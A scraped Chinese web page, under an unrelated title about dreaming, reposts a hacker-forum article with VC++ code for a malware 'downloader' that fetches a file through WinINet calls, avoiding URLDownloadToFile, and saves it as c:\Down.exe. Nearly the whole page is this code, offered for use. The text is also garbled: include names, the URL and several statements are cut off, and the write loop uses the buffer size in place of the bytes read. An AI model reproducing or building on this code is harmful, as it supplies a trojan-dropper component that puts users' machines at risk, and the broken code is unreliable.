老爱做梦是什么原因:VC实现下载者的代码,不通过URLDownloadToFile1
来源:百度文库 编辑:偶看新闻 时间:2024/05/01 01:01:36
www.hxhack.com 阅读: 108 时间:2009-8-12 6:05:36 整理:华夏黑盟
------------------------------------------------------------------
摘自:Tr0j4n博客
放代码啦!接着上一篇接受网络API的文章,点击这里查看
代码如下:
#include
#include
#include
#pragma comment(lib,"wininet.lib")
int main(void)
{
DWORD byteread=0;
char buffer[100];
memset(buffer,0,100);
HINTERNET internetopen;
internetopen=InternetOpen("Testing",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if (internetopen==NULL){
cout<<"Internet open failed!"<
}
HINTERNET internetopenurl;
internetopenurl=InternetOpenUrl(internetopen,"
if (internetopenurl==NULL){
cout<<"Internet open url failed!"<
}
BOOL hwrite;
DWORD written;
HANDLE createfile;
createfile=CreateFile("c:\\Down.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if (createfile==INVALID_HANDLE_VALUE){
cout<<"Create File failed!"<
}
BOOL internetreadfile;
while(1){
internetreadfile=InternetReadFile(internetopenurl,buffer,sizeof(buffer),&byteread);
if(byteread==0)
break;
hwrite=WriteFile(createfile,buffer,sizeof(buffer),&written,NULL);
if (hwrite==0){
cout<<"Write to file failed!"<
}
}
cout<<"Finished downloading!"<